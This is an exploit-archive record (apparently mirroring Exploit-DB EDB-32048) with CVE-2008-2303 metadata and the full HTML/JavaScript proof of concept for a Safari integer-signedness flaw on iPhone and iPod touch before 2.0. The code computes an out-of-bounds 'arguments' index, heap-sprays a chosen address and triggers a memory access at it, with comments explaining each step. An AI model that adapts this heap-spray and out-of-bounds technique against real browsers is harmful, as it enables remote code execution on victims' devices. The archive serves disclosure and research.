{"exploit":{"id":"EDB-32048","name":"Apple iPhone/Apple iPod Touch < 2.0 - Multiple Remote Vulnerabilities","description":"Apple iPhone/Apple iPod Touch < 2.0 - Multiple Remote Vulnerabilities","cves":["CVE-2008-2303"],"author":"Hiromitsu Takagi","published":"2008-07-11","platform":"osx","type":"remote","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/32048","path":"exploits/osx/remote/32048.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-32048.html","vulnerabilities":[{"id":"CVE-2008-2303","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer signedness error in Safari on Apple iPhone before 2.0 and iPod touch before 2.0 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via vectors involving JavaScript array indices that trigger an out-of-bounds access, a different vulnerability than CVE-2008-2307.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2303","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2303"},"updatedAt":"2024-08-07T08:58:01.772Z","retrievedAt":"2026-11-26T23:09:07.633Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-32048.png?v=2","url":"https://exploitbin.com/exploits/EDB-32048","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-32048/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-32048/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\nsource: https://web.archive.org/web/2008/https://www.securityfocus.com/bid/30186/info\n\nApple iPhone and iPod touch are prone to multiple remote vulnerabilities:\n\n1. A vulnerability that may allow users to spoof websites.\n2. An information-disclosure vulnerability.\n3. A buffer-overflow vulnerability.\n4. Two memory-corruption vulnerabilities.\n\nSuccessfully exploiting these issues may allow attackers to execute arbitrary code, crash the affected application, obtain sensitive information, or direct unsuspecting victims to a spoofed site; other attacks are also possible.\n\nThese issues affect iPhone 1.0 through 1.1.4 and iPod touch 1.1 through 1.1.4.\n-->\n\n<BODY>\n        <SCRIPT src=\"HeapSpray2.js\"></SCRIPT>\n        <CODE id=\"sploit status\"></CODE>\n        <CODE id=\"heapspray status\"></CODE>\n        <SCRIPT>\n                // The index for the \"arguments\" array in a JavaScript function in\n                // Safari suffers from a signedness issue that allows access to elements\n                // that are out of bounds. The index is cast to a signed value before it\n                // is compared to the length of the array to check if it within the\n                // bounds. Integer values larger than 0x8000,0000 will be cast to a\n                // negative value and because they are always smaller then the length,\n                // they are treated as a valid index.\n                // The index into the arguments array ends up in instructions\n                // that multiply it by 4 to access data in an array of 32 bit values.\n                // There are no checks for overflows in this calculation. This allows us\n                // to cause it to access anything in memory:\n                //     Pointer to object = base address + 4 * index\n                // The base address varies only slightly and is normally about\n                // 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a\n                // predictable location using heap spraying, we can then calculate an\n                // index that will access this memory.\n                var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot.\n                var iTargetArea = 0x10000000;\n                // Be advised that heap spraying is \"upside down\" in Safari: strings\n                // are allocated at high addresses first and as the heap grows, the\n                // addresses go down. The heap will therefor grow in between a lot of\n                // DLLs which reside in this area of the address space as well.\n                // We&#039;ll need to find an area of memory to spray that is not likely to\n                // contain a DLL and easy to reach.\n                var iTargetAddress = 0x55555555;\n                //     iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex\n                // 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed)\n                var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0)\n                // iIndex = (iTargetAddress - iBase) / 4\n                var iIndex = Math.floor(iRequiredMultiplicationResult / 4)\n                // We need to trigger the signedness issue so the index must be larger\n                // then 0x8000,0000. Because of the integer overflow in the\n                // multiplication, we can safely add 0x4000,0000 as often as we want;\n                // the multiplication will remove it from the result.\n                while (iIndex < 0x80000000) iIndex += 0x40000000\n                document.getElementById(\"sploit status\").innerHTML = (\n                        \"iBase + 4 * iIndex = \" +\n                        \"0x\" + iBase.toString(16, 8) + \" + 4 * \" + iIndex.toString(16, 8) + \" = \" +\n                        \"0x\" + (iBase + 4 * iIndex).toString(16, 8) + \"<BR>\"\n                );\n                // Set up heap spray\n                var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF))\n                oHeapSpray.oOutputElement = document.getElementById(\"heapspray status\")\n                // Spray heap asynchronously and call sploit when done.\n                oHeapSpray.spray(sploit)\n                function sploit(oHeapSpray) {\n                        // This will cause an access violation using the value 0xDEADBEEF,\n                        // which comes from the strings we sprayed the heap with.\n                        // 6aa3d57f 8b4f0c          mov     ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=????????\n                        arguments[iIndex];\n                }\n                function DWORD(iValue) {\n                        return String.fromCharCode(iValue & 0xFFFF, iValue >> 16)\n                }\n        </SCRIPT>\n</BODY>","sha256":"b3245e7c681d14f2f7c741f2ba2c872a20106ceb68bd99f8d8519ad43d73e6a3","bytes":4776,"fetchedAt":"2026-11-26T23:09:03.332Z","encoding":"utf-8 (display only; download retains original bytes)"}